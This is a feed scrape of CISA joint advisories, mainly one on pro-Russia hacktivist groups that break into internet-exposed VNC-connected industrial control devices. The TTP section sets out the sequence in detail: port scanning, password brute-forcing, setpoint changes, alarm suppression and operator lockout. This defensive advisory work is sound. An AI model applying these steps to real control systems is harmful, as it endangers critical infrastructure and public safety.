<p>CISA and FBI do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to FBI’s <a href="https://www.ic3.gov/Home/ComplaintChoice" title="Internet Crime Complain Center (IC3)">Internet Crime Complain Center (IC3)</a>, a <a href="https://www.fbi.gov/contact-us/field-offices" title="local FBI Field Office">local FBI Field Office</a>, or CISA via the agency’s <a href="https://myservices.cisa.gov/irf" title="Incident Reporting System">Incident Reporting System</a> or its 24/7 Operations Center (<a href="mailto:report@cisa.gov)or" title="report@cisa.gov">report@cisa.gov</a>) or by calling 1-844-Say-CISA (1-844-729-2472).</p>
<p>SimpleHelp users or vendors can contact <a href="mailto:support@simple-help.com" title="support@simple-help.com">support@simple-help.com</a> for assistance with queries or concerns.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by CISA.</p>
<h2><strong>Version History</strong></h2>
<p><strong>June 12, 2025:</strong> Initial version.</p>
<h2><strong>Notes</strong></h2>
<p><a class="ck-anchor"><strong>1.</strong></a><strong> </strong>Anthony Bradshaw, et. al., “DragonForce Actors Target SimpleHelp Vulnerabilities to Attack MSP, Customers,” <em>Sophos News</em>, May 27, 2025, <a href="https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/" target="_blank" title="DragonForce actors target SimpleHelp vulnerabilities to attack MSP, customers">https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/</a>.<br><a class="ck-anchor"><strong>2</strong></a><strong>.</strong> For instructions for upgrading to the latest version of SimpleHelp, see <a href="https://simple-help.com/kb---security-vulnerabilities-01-2025" target="_blank" title="SimpleHelp’s security vulnerability advisory.">SimpleHelp’s security vulnerability</a> advisory.<br><a class="ck-anchor"><strong>3.</strong></a> To determine possibility of compromise and next steps, see <a href="https://simple-help.com/kb---security-vulnerabilities-01-2025#characteristics-of-compromise" target="_blank" title="Characteristics of Compromise">SimpleHelp’s guidance</a>.<br><a class="ck-anchor"><strong>4</strong></a><strong>. </strong>For instructions for upgrading to the latest version of SimpleHelp, see <a href="https://simple-help.com/kb---security-vulnerabilities-01-2025" target="_blank" title="security vulnerability advisory">SimpleHelp’s security vulnerability</a> advisory.</p>]]></content:encoded>
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<title><![CDATA[Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure]]></title>
<description><![CDATA[Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eas...]]></description>
<link>https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:15:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p><strong>Note:</strong> This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a> and European Cybercrime Centre’s (EC3) <a href="https://www.europol.europa.eu/media-press/newsroom/news/global-operation-targets-noname05716-pro-russian-cybercrime-network" target="_blank" title="Operation Eastwood" data-entity-type="external">Operation Eastwood</a>, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.</p>
<p>FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:</p>
<ul>
<li>U.S. Department of Energy (DOE)</li>
<li>U.S. Environmental Protection Agency (EPA)</li>
<li>U.S. Department of Defense Cyber Crime Center (DC3)</li>
<li>Europol European Cybercrime Centre (EC3)</li>
<li>EUROJUST – European Union Agency for Criminal Justice Cooperation</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Canadian Security Intelligence Service (CSIS)</li>
<li>Czech Republic Military Intelligence (VZ)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)</li>
<li>Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)</li>
<li>French National Cybercrime Unit – Gendarmerie Nationale (UNC)</li>
<li>French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)</li>
<li>German Federal Office for Information Security (BSI)</li>
<li>Italian State Police (PS)</li>
<li>Latvian State Police (VP)</li>
<li>Lithuanian Criminal Police Bureau (LKPB)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Romanian National Police (PR)</li>
<li>Spanish Civil Guard (GC)</li>
<li>Spanish National Police (CNP)</li>
<li>Swedish Polisen (SC3)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
</ul>
<p>The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a>.</p>
<p>The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations"><strong>Mitigations </strong></a>section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Threat Overview and Advisories">Russia Threat Overview and Advisories</a> webpage.</p>
<p>Download the PDF version of this report:</p>





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<h2><strong>Background and Development of Pro-Russia Hacktivist Groups</strong></h2>
<p>Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.</p>
<h3><strong>Cyber Army of Russia Reborn</strong></h3>
<p>The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see<strong> </strong><a href="https://www.cisa.gov/#AppB" title="Appendix B"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a>)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.</p>
<p>In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.</p>
<p>CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.</p>
<p>In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.</p>
<p>The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.</p>
<h3><strong>NoName057(16)</strong></h3>
<p>The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool <code>DDoSia</code>, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.</p>
<p>Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host <code>DDoSia</code> and share materials and TTPs with their followers. </p>
<p>In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.</p>
<h3><strong>Z-Pentest</strong></h3>
<p>Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.</p>
<p>Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.</p>
<h3><strong>Sector16</strong></h3>
<p>Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.</p>
<p>Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the MITRE ATT&amp;CK<sup>®</sup> <a href="https://attack.mitre.org/versions/v18/matrices/enterprise/" title="Matrix for Enterprise framework" data-entity-type="external">Matrix for Enterprise framework</a>, version 18. See the <a href="https://www.cisa.gov/#MITRE" title="MITRE ATT&amp;CK Tactics and Techniques"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>TTP Overview</strong></h3>
<p>Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.</p>
<p>Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.</p>
<p>Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Sector">Water and Wastewater</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector" data-entity-type="external">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a> Sectors.</p>
<p>Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:</p>
<ul>
<li>Scan for vulnerable devices on the internet [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>] with open VNC ports [<a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a>].</li>
<li>Initiate temporary virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a>] to execute password brute force software.</li>
<li>Use VNC software to access hosts [<a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a>].</li>
<li>Confirm connection to the vulnerable device [<a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a>].</li>
<li>Brute force the password, if required [<a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a>].</li>
<li>Gain access to HMI devices [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>], typically with default [<a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a>], weak, or no passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a>].</li>
<li>Log the confirmed vulnerable device IP address, port, and password.</li>
<li>Using the HMI graphical interface [<a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a>], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [<a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a>]:
<ul>
<li>Modify usernames/passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify parameters [<a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a>];</li>
<li>Modify device name [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify instrument settings [<a href="https://attack.mitre.org/versions/v18/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a>];</li>
<li>Disable alarms [<a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a>];</li>
<li>Create loss of view (a technique that mandates local hands-on operator intervention) [<a href="https://attack.mitre.org/versions/v18/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a>]; and/or</li>
<li>Device restart or shutdown [<a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a>].</li>
</ul>
</li>
<li>Disconnect from the device, ending the VNC connection.</li>
<li>Research the compromised device company after the intrusion [<a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a>].</li>
</ul>
<h4><strong>Propagation</strong></h4>
<p>To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.</p>
<h4><strong>Reconnaissance and Initial Access</strong></h4>
<p>The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as <code>Nmap</code> or <code>OPENVAS</code>, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port <code>5900</code> or other nearby ports (<code>5901-5910</code>). Their goal is to gain remote access to HMI devices connected to live control networks.</p>
<p>Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.</p>
<h4><strong>Impact</strong></h4>
<p>While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.</p>
<p>Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.</p>
<h2><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to <a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a> for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<p><a class="ck-anchor"></a></p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 1. Reconnaissance</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Gather Victim Organization Information</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a></td>
<td>Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a></td>
<td>Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 2. Resource Development</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Server</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a></td>
<td>Threat actors use virtual infrastructure to obfuscate identifiers.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 3. Initial Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a></td>
<td>Threat actors gain access through less secure HMI devices exposed to the internet.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 4. Persistence</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Valid Accounts</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a></td>
<td>Threat actors use password guessing tools to access legitimate accounts on the HMI devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 5. Credential Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Brute Force: Password Spraying</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a></td>
<td>Threat actors use tools to rapidly guess common or simple passwords.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 6. Lateral Movement</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Default Credentials</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a></td>
<td>Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.</td>
</tr>
<tr>
<td>Remote Services</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a></td>
<td>Threat actors leverage VNC services to access system HMI devices.</td>
</tr>
<tr>
<td>Remote Services: VNC</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a></td>
<td>Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 7. Execution</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Graphical User Interface</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a></td>
<td>Threat actors interact with HMI devices via GUIs, attempting to modify control devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 8. Inhibit Response Function</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Device Restart/Shutdown</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a></td>
<td>While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.</td>
</tr>
<tr>
<td>Alarm Suppression</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a></td>
<td>Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.</td>
</tr>
<tr>
<td>Change Credential</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a></td>
<td>Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 9. Impair Process Control</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Modify Parameter</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a></td>
<td>Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.</td>
</tr>
<tr>
<td>Unauthorized Command Message</td>
<td><a href="https://attack.mitre.org/techniques/T0855/" target="_blank" title="T0855" data-entity-type="external">T0855</a></td>
<td>Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 10. Impact</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><a class="ck-anchor"><strong>Technique Title</strong></a></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Loss of Productivity and Revenue</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a></td>
<td>Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.</td>
</tr>
<tr>
<td>Loss of View</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a></td>
<td>Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. </td>
</tr>
<tr>
<td>Manipulation of Control</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a></td>
<td>Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  </td>
</tr>
</tbody>
</table>
<h2><strong>Incident Response</strong></h2>
<p>If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:</p>
<ol>
<li><strong>Determine which hosts were compromised and isolate them</strong> by quarantining or taking them offline.</li>
<li><strong>Initiate threat hunting activities to scope the intrusion</strong>. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.</li>
<li><strong>Reimage compromised hosts</strong>.</li>
<li><strong>Provision new account credentials</strong>.</li>
<li><strong>Report the compromise to CISA, FBI, and/or NSA</strong>. See the <a href="https://www.cisa.gov/#Contact" title="Contact Information"><strong>Contact Information</strong></a> section of this advisory.</li>
<li><strong>Harden the network to prevent additional malicious activity</strong>. See the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations "><strong>Mitigations </strong></a>section of this advisory for guidance.</li>
</ol>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<h3><strong>OT Asset Owners and Operators</strong></h3>
